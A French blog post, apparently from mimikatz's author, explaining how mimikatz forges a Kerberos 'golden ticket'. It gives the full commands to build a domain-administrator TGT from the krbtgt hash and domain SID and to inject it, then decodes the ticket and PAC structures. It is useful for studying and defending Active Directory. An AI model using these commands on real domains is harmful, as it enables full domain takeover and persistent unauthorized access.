
Nous l’avons vu précédemment, les tickets Kerberos peuvent être récupérés et réinjectés.
Ces derniers sont très pratiques :
- ils permettent l’authentification basé sur un mot de passe ou une carte à puce ;
- le SSO associé reste transparent ;
- le changement de mot de passe n’influe pas sur les tickets déjà émis ;
- etc.
La cible de choix concernant les tickets Kerberos reste le TGT. Ce ticket ne permet pas d’accéder directement à un service en particulier, mais « représente » l’identité de l’utilisateur courant lors des demandes de tickets de service au KDC (permettant ensuite d’accéder directement à une multitude de services ;))
Le TGT est généré par le KDC après que le client ait « prouvé » qu’il possédait un secret de l’utilisateur (le hash NTLM découlant du mot de passe utilisateur ou la clé privée d’un certificat émis par une autorité autorisé du domaine).
Par défaut ce TGT est valide 10 heures, et peut être renouvelé tacitement pendant 7 jours.
Le client a connaissance des métadonnées du ticket Kerberos pour son suivi (quand le renouveler, pour quel domaine ce dernier peut être utilisé, avec quelle clé de session chiffrer les échanges…), mais le TGT en lui même est chiffré par le KDC via le hash du compte krbtgt
. Le client ne peut pas le déchiffrer , il s’en sert « tel quel ».
Création d’un ticket d’or
A partir d’informations spécifiques, il est possible de demander à mimikatz
de créer un TGT très particulier du compte admin du domaine !
Ces informations sont :
- Nom du compte administrateur (Administrateur)
- Nom complet du domaine (domain.local)
- SID du domaine (
S-1-5-21-1723555596-1415287819-2705645101
) - Hash NTLM du compte
krbtgt
(6194bd1a5bf3ecd542e8aac9860bddf0
)
C’est tout.
Le ticket d’or peut être généré depuis n’importe quelle machine, même hors du domaine…
mimikatz # kerberos::golden /admin:Administrateur /domain:domain.local /sid:S-1-5-21-1723555596-1415287819-2705645101 /krbtgt:6194bd1a5bf3ecd542e8aac9860bddf0 /ticket:domain.local.kirbi
Ha oui, quelques rappels/détails :
- il s’agit du compte Administrateur du domaine ;
- ce ticket est valide 10
heuresans ; - le changement de mot de passe du compte Administrateur n’a aucun impact sur ce ticket ;
- ce ticket n’est pas émis par le KDC, il n’est pas assujetti aux restrictions des méthodes de chiffrements autorisées ;
- le hash NTLM du compte
krbtgt
/la clé du KDC n’est pas renouvelée automatiquement.
Utilisation du ticket d’or
Tout comme un ticket « récupéré », ce ticket d’or peut être injecté sous Windows NT 6 via le message au package Kerberos : KerbSubmitTicketMessage
.
mimikatz # kerberos::ptt domain.local.kirbi
Téléchargement
La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz
Explications
Nul besoin d’être Willy Wonka pour comprendre le format des tickets Kerberos, ainsi que les petites spécificités Microsoft pour la partie « autorisation » :
Extrait :
KRB-CRED ::= [APPLICATION 22] SEQUENCE { pvno [0] INTEGER (5), msg-type [1] INTEGER (22), tickets [2] SEQUENCE OF Ticket, enc-part [3] EncryptedData -- EncKrbCredPart }
Il « suffit » de créer, chiffrer et encoder correctement les structures qui suivent.
Contenu du TGT
sous sa forme KRB-CRED
Le ticket est encodé en ASN.1 et contient une partie des métadonnées.
APPLICATION (22) : SEQUENCE : (0) : INTEGER : 5 (1) : INTEGER : 22 (2) : SEQUENCE : APPLICATION (1) : SEQUENCE : (0) : INTEGER : 5 (1) : GENERAL STRING : 'DOMAIN.LOCAL' (2) : SEQUENCE : (0) : INTEGER : 2 (1) : SEQUENCE : GENERAL STRING : 'krbtgt' GENERAL STRING : 'DOMAIN.LOCAL' (3) : SEQUENCE : (0) : INTEGER : 23 (1) : INTEGER : 2 (2) : OCTET STRING : 68A972A80FE035DE6D165F63F6071D [...] 59BD9F3FA2C146053271 (3) : SEQUENCE : (0) : INTEGER : 0 (2) : OCTET STRING : APPLICATION (29) : SEQUENCE : (0) : SEQUENCE : SEQUENCE : (0) : SEQUENCE : (0) : INTEGER : 23 (1) : OCTET STRING : 582AE1D0472CE6F2C0E4CADB3BCE91C1 (1) : GENERAL STRING : 'DOMAIN.LOCAL' (2) : SEQUENCE : (0) : INTEGER : 1 (1) : SEQUENCE : GENERAL STRING : 'Administrateur' (3) : BIT STRING UnusedBits:0 : 40E10000 (5) : GENERALIZED TIME : '20140118160650Z' (6) : GENERALIZED TIME : '20140119020650Z' (7) : GENERALIZED TIME : '20140125160650Z' (8) : GENERAL STRING : 'DOMAIN.LOCAL' (9) : SEQUENCE : (0) : INTEGER : 2 (1) : SEQUENCE : GENERAL STRING : 'krbtgt' GENERAL STRING : 'DOMAIN.LOCAL'
Les lignes 17 à 19 sont un extrait du TGT chiffrés.
TGT déchiffré
A l’aide du hash NTLM du compte krbtgt
, le TGT peut être déchiffré.
C’est d’ailleurs ce que fait le KDC quand le TGT lui est renvoyé lors d’une demande de ticket de service. Il ne prend évidemment pas pour argent comptant les métadonnées renvoyés par le client.
APPLICATION (3) : SEQUENCE : (0) : BIT STRING UnusedBits:0 : 40E10000 (1) : SEQUENCE : (0) : INTEGER : 23 (1) : OCTET STRING : 582AE1D0472CE6F2C0E4CADB3BCE91C1 (2) : GENERAL STRING : 'DOMAIN.LOCAL' (3) : SEQUENCE : (0) : INTEGER : 1 (1) : SEQUENCE : GENERAL STRING : 'Administrateur' (4) : SEQUENCE : (0) : INTEGER : 0 (1) : OCTET STRING : (5) : GENERALIZED TIME : '20140118160650Z' (6) : GENERALIZED TIME : '20140118160650Z' (7) : GENERALIZED TIME : '20140119020650Z' (8) : GENERALIZED TIME : '20140125160650Z' (10) : SEQUENCE : SEQUENCE : (0) : INTEGER : 1 (1) : OCTET STRING : SEQUENCE : SEQUENCE : (0) : INTEGER : 128 (1) : OCTET STRING : 050000000000000001000000280 [...] B22B83D6D3B9D549E88D0000000
Les lignes 24 à 26 sont un extrait du PAC (structure regroupant des données d’autorisation).
Contenu du PAC
Ces données sont encodées au format DCE avec un marshalling des données RPCE. Cette structure peut, dans certains cas, contenir les hashs LM/NTLM de l’utilisateur.
*** Logon Informations *** LogonTime 01cf14674bc48b49 - 18/01/2014 17:06:50 LogoffTime 7fffffffffffffff - KickOffTime 7fffffffffffffff - PasswordLastSet 01cf0fe36db4dea8 - 12/01/2014 23:12:48 PasswordCanChange 01cf10ac981e9ea8 - 13/01/2014 23:12:48 PasswordMustChange 01cf30e4630e5ea8 - 23/02/2014 23:12:48 EffectiveName (28, 28, @ 00020004) Administrateur FullName (50, 50, @ 00020008) Administrateur du domaine LogonScript ( 0, 0, @ 0002000c) (null) ProfilePath ( 0, 0, @ 00020010) (null) HomeDirectory ( 0, 0, @ 00020014) (null) HomeDirectoryDrive ( 0, 0, @ 00020018) (null) LogonCount 18 BadPasswordCount 0 UserId 000001f4 (500) PrimaryGroupId 00000201 (513) GroupCount 5 GroupIds @ 0002001c * 520 (7) * 513 (7) * 512 (7) * 518 (7) * 519 (7) UserFlags 00000020 (32) UserSessionKey 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 LogonServer (22, 24, @ 00020020) DC-2012R2-X LogonDomainName (12, 14, @ 00020024) DOMAIN LogonDomainId @ 00020028 * SID : S-1-5-21-1723555596-1415287819-2705645101 UserAccountControl 00000010 (16) SubAuthStatus 00000000 (0) LastSuccessfulILogon 0000000000000000 LastFailedILogon 0000000000000000 FailedILogonCount 0 SidCount 1 ExtraSids @ 0002002c ResourceGroupDomainSid @ 00000000 ResourceGroupCount 0 ResourceGroupIds @ 00000000 *** Client name and ticket information *** ClientId 01cf14674ba00900 - 18/01/2014 17:06:50 Client (28, Administrateur) *** Server Signature *** Type -138 - (0) : 28 0c 88 6b ac 03 88 86 c6 dc ed a2 55 15 b9 b0 *** KDC Signature *** Type -138 - (0) : d7 2d f9 00 a5 e4 b2 2b 83 d6 d3 b9 d5 49 e8 8d
La signature du serveur est ici basé sur la clé du KDC elle même (la cible d’un TGT restant finalement un KDC). S’il s’agissait d’un ticket de service, le hash du compte NTLM du servicé visé aurait été utilisé.
La signature du KDC est évidemment basée sur la clé du KDC.
Plus d’information sur la signature du PAC :